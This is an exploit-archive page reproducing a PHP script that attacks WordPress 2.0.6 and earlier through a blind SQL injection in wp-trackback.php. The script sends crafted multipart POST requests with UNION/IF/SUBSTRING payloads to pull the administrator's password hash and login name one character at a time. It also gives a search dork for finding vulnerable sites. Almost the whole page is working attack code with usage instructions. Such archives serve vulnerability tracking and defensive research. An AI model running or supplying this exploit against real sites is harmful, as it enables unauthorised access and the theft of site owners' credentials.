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Wordpress <= 2.0.6 wp-trackback.php Remote SQL Injection Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug🔗 www.seebug.org👁 23 Views

Wordpress 2.0.6 wp-trackback.php SQL Injection Exploi

Code

                                                &#60;?php
print_r(&#39;
---------------------------------------------------------------------------
Wordpress &#60;= 2.0.6 wp-trackback.php Zend_Hash_Del_Key_Or_Index /
/ sql injection admin hash disclosure exploit
(needs register_globals=on, 4 &#60;= PHP &#60; 4.4.3,&#60; 5.1.4)
by rgod
dork: &#34;is proudly powered by WordPress&#34;
mail: retrog at alice dot it
site: http://retrogod.altervista.org
---------------------------------------------------------------------------
&#39;);

if ($argc&#60;3) {
    print_r(&#39;
---------------------------------------------------------------------------
Usage: php &#39;.$argv[0].&#39; host path OPTIONS
host:      target server (ip/hostname)
path:      path to wordpress
Options:
 -p[port]:    specify a port other than 80
 -P[ip:port]: specify a proxy
 -t[prefix]:  specify a table prefix (default: wp_)
Example:
php &#39;.$argv[0].&#39; localhost /wordpress/ -P1.1.1.1:80
php &#39;.$argv[0].&#39; localhost / -p81
---------------------------------------------------------------------------
&#39;);
    die;
}
error_reporting(0);
ini_set(&#34;max_execution_time&#34;,0);
ini_set(&#34;default_socket_timeout&#34;,5);

function quick_dump($string)
{
  $result=&#39;&#39;;$exa=&#39;&#39;;$cont=0;
  for ($i=0; $i&#60;=strlen($string)-1; $i++)
  {
   if ((ord($string[$i]) &#60;= 32 ) | (ord($string[$i]) &#62; 126 ))
   {$result.=&#34;  .&#34;;}
   else
   {$result.=&#34;  &#34;.$string[$i];}
   if (strlen(dechex(ord($string[$i])))==2)
   {$exa.=&#34; &#34;.dechex(ord($string[$i]));}
   else
   {$exa.=&#34; 0&#34;.dechex(ord($string[$i]));}
   $cont++;if ($cont==15) {$cont=0; $result.=&#34;\r\n&#34;; $exa.=&#34;\r\n&#34;;}
  }
 return $exa.&#34;\r\n&#34;.$result;
}
$proxy_regex = &#39;(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)&#39;;

function sendpacketii($packet)
{
  global $proxy, $host, $port, $html, $proxy_regex;
  if ($proxy==&#39;&#39;) {
    $ock=fsockopen(gethostbyname($host),$port);
    if (!$ock) {
      echo &#39;No response from &#39;.$host.&#39;:&#39;.$port; die;
    }
  }
  else {
	$c = preg_match($proxy_regex,$proxy);
    if (!$c) {
      echo &#39;Not a valid proxy...&#39;;die;
    }
    $parts=explode(&#39;:&#39;,$proxy);
    echo &#34;Connecting to &#34;.$parts[0].&#34;:&#34;.$parts[1].&#34; proxy...\r\n&#34;;
    $ock=fsockopen($parts[0],$parts[1]);
    if (!$ock) {
      echo &#39;No response from proxy...&#39;;die;
	}
  }
  fputs($ock,$packet);
  if ($proxy==&#39;&#39;) {
    $html=&#39;&#39;;
    while (!feof($ock)) {
      $html.=fgets($ock);
    }
  }
  else {
    $html=&#39;&#39;;
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
      $html.=fread($ock,1);
    }
  }
  fclose($ock);
}

$host=$argv[1];
$path=$argv[2];
$port=80;
$proxy=&#34;&#34;;
$prefix=&#34;wp_&#34;;

for ($i=3; $i&#60;$argc; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if ($temp==&#34;-p&#34;)
{
  $port=str_replace(&#34;-p&#34;,&#34;&#34;,$argv[$i]);
}
if ($temp==&#34;-P&#34;)
{
  $proxy=str_replace(&#34;-P&#34;,&#34;&#34;,$argv[$i]);
}
if ($temp==&#34;-t&#34;)
{
  $prefix=str_replace(&#34;-t&#34;,&#34;&#34;,$argv[$i]);
}
}
if (($path[0]&#60;&#62;&#39;/&#39;) or ($path[strlen($path)-1]&#60;&#62;&#39;/&#39;)) {echo &#39;Error... check the path!&#39;; die;}
if ($proxy==&#39;&#39;) {$p=$path;} else {$p=&#39;http://&#39;.$host.&#39;:&#39;.$port.$path;}

$chars[0]=0;//null
$chars=array_merge($chars,range(48,57)); //numbers
$chars=array_merge($chars,range(97,102));//a-f letters

function my_encode($my_string)
{
  $encoded=&#34;CHAR(&#34;;
  for ($k=0; $k&#60;=strlen($my_string)-1; $k++)
  {
    $encoded.=ord($my_string[$k]);
    if ($k==strlen($my_string)-1) {$encoded.=&#34;)&#34;;}
    else {$encoded.=&#34;,&#34;;}
  }
  return $encoded;
}

echo &#34;\npwd hash   -&#62; &#34;;
$j=1;$password=&#34;&#34;;
while (!strstr($password,chr(0)))
{
    for ($i=0; $i&#60;=255; $i++)
    {
        if (in_array($i,$chars))
        {
		  $sql=&#34;999999/**/UNION/**/SELECT/**/(IF((ASCII(SUBSTRING(user_pass,&#34;.$j.&#34;,1))=&#34;.$i.&#34;),&#34;.my_encode(&#34;open&#34;).&#34;,&#34;.my_encode(&#34;sun-tzu&#34;).&#34;))/**/FROM/**/&#34;.$prefix.&#34;users/**/WHERE/**/ID=1/*&#34;;
          $data =&#34;-----------------------------7d61bcd1f033e\r\n&#34;;
          $data.=&#34;Content-Disposition: form-data; name=\&#34;title\&#34;;\r\n\r\n&#34;;
          $data.=&#34;1\r\n&#34;;
          $data.=&#34;-----------------------------7d61bcd1f033e\r\n&#34;;
          $data.=&#34;Content-Disposition: form-data; name=\&#34;url\&#34;;\r\n\r\n&#34;;
          $data.=&#34;1\r\n&#34;;
          $data.=&#34;-----------------------------7d61bcd1f033e\r\n&#34;;
          $data.=&#34;Content-Disposition: form-data; name=\&#34;blog_name\&#34;;\r\n\r\n&#34;;
          $data.=&#34;1\r\n&#34;;
          $data.=&#34;-----------------------------7d61bcd1f033e\r\n&#34;;
          $data.=&#34;Content-Disposition: form-data; name=\&#34;tb_id\&#34;;\r\n\r\n&#34;;
          $data.=&#34;$sql\r\n&#34;;
          $data.=&#34;-----------------------------7d61bcd1f033e\r\n&#34;;
          $data.=&#34;Content-Disposition: form-data; name=\&#34;1740009377\&#34;;\r\n\r\n&#34;;
          $data.=&#34;1\r\n&#34;;
          $data.=&#34;-----------------------------7d61bcd1f033e\r\n&#34;;
          $data.=&#34;Content-Disposition: form-data; name=\&#34;496546471\&#34;;\r\n\r\n&#34;;
          $data.=&#34;1\r\n&#34;;
          $data.=&#34;-----------------------------7d61bcd1f033e--\r\n&#34;;
          $packet =&#34;POST &#34;.$p.&#34;wp-trackback.php?tb_id=1 HTTP/1.0\r\n&#34;;
          $packet.=&#34;Content-Type: multipart/form-data; boundary=---------------------------7d61bcd1f033e\r\n&#34;;
          $packet.=&#34;Host: &#34;.$host.&#34;\r\n&#34;;
          $packet.=&#34;Content-Length: &#34;.strlen($data).&#34;\r\n&#34;;
          $packet.=&#34;Connection: Close\r\n\r\n&#34;;
          $packet.=$data;
          sendpacketii($packet);
          if (!eregi(&#34;trackbacks are closed&#34;,$html)) {$password.=chr($i);echo chr($i);sleep(1);break;}
        }
        if ($i==255) {
            die(&#34;\nExploit failed...&#34;);
        }
    }
$j++;
}
echo &#34;\n&#34;;

echo &#34;admin user -&#62; &#34;;
$j=1;$admin=&#34;&#34;;
while (!strstr($admin,chr(0)))
{
    for ($i=0; $i&#60;=255; $i++)
    {
          $sql=&#34;999999/**/UNION/**/SELECT/**/(IF((ASCII(SUBSTRING(user_login,&#34;.$j.&#34;,1))=&#34;.$i.&#34;),&#34;.my_encode(&#34;open&#34;).&#34;,&#34;.my_encode(&#34;sun-tzu&#34;).&#34;))/**/FROM/**/&#34;.$prefix.&#34;users/**/WHERE/**/ID=1/*&#34;;
          $data =&#34;-----------------------------7d61bcd1f033e\r\n&#34;;
          $data.=&#34;Content-Disposition: form-data; name=\&#34;title\&#34;;\r\n\r\n&#34;;
          $data.=&#34;1\r\n&#34;;
          $data.=&#34;-----------------------------7d61bcd1f033e\r\n&#34;;
          $data.=&#34;Content-Disposition: form-data; name=\&#34;url\&#34;;\r\n\r\n&#34;;
          $data.=&#34;1\r\n&#34;;
          $data.=&#34;-----------------------------7d61bcd1f033e\r\n&#34;;
          $data.=&#34;Content-Disposition: form-data; name=\&#34;blog_name\&#34;;\r\n\r\n&#34;;
          $data.=&#34;1\r\n&#34;;
          $data.=&#34;-----------------------------7d61bcd1f033e\r\n&#34;;
          $data.=&#34;Content-Disposition: form-data; name=\&#34;tb_id\&#34;;\r\n\r\n&#34;;
          $data.=&#34;$sql\r\n&#34;;
          $data.=&#34;-----------------------------7d61bcd1f033e\r\n&#34;;
          $data.=&#34;Content-Disposition: form-data; name=\&#34;1740009377\&#34;;\r\n\r\n&#34;;
          $data.=&#34;1\r\n&#34;;
          $data.=&#34;-----------------------------7d61bcd1f033e\r\n&#34;;
          $data.=&#34;Content-Disposition: form-data; name=\&#34;496546471\&#34;;\r\n\r\n&#34;;
          $data.=&#34;1\r\n&#34;;
          $data.=&#34;-----------------------------7d61bcd1f033e--\r\n&#34;;
          $packet =&#34;POST &#34;.$p.&#34;wp-trackback.php?tb_id=1 HTTP/1.0\r\n&#34;;
          $packet.=&#34;Content-Type: multipart/form-data; boundary=---------------------------7d61bcd1f033e\r\n&#34;;
          $packet.=&#34;Host: &#34;.$host.&#34;\r\n&#34;;
          $packet.=&#34;Content-Length: &#34;.strlen($data).&#34;\r\n&#34;;
          $packet.=&#34;Connection: Close\r\n\r\n&#34;;
          $packet.=$data;
          sendpacketii($packet);
          if (!eregi(&#34;trackbacks are closed&#34;,$html)) {$admin.=chr($i);echo chr($i);sleep(1);break;}
        if ($i==255) {
            die(&#34;\nExploit failed...&#34;);
        }
    }
$j++;
}
echo &#34;\n&#34;;

function is_hash($hash)
{
 if (ereg(&#34;([a-f0-9]{32})&#34;,trim($hash))) {return true;}
 else {return false;}
}

if (is_hash($password)) {
  echo &#34;exploit succeeded...&#34;;
}
else {
  echo &#34;exploit failed...&#34;;
  }

?&#62;

# milw0rm.com [2007-01-10]

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01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1
wordpress securitysql injectionremote exploit
23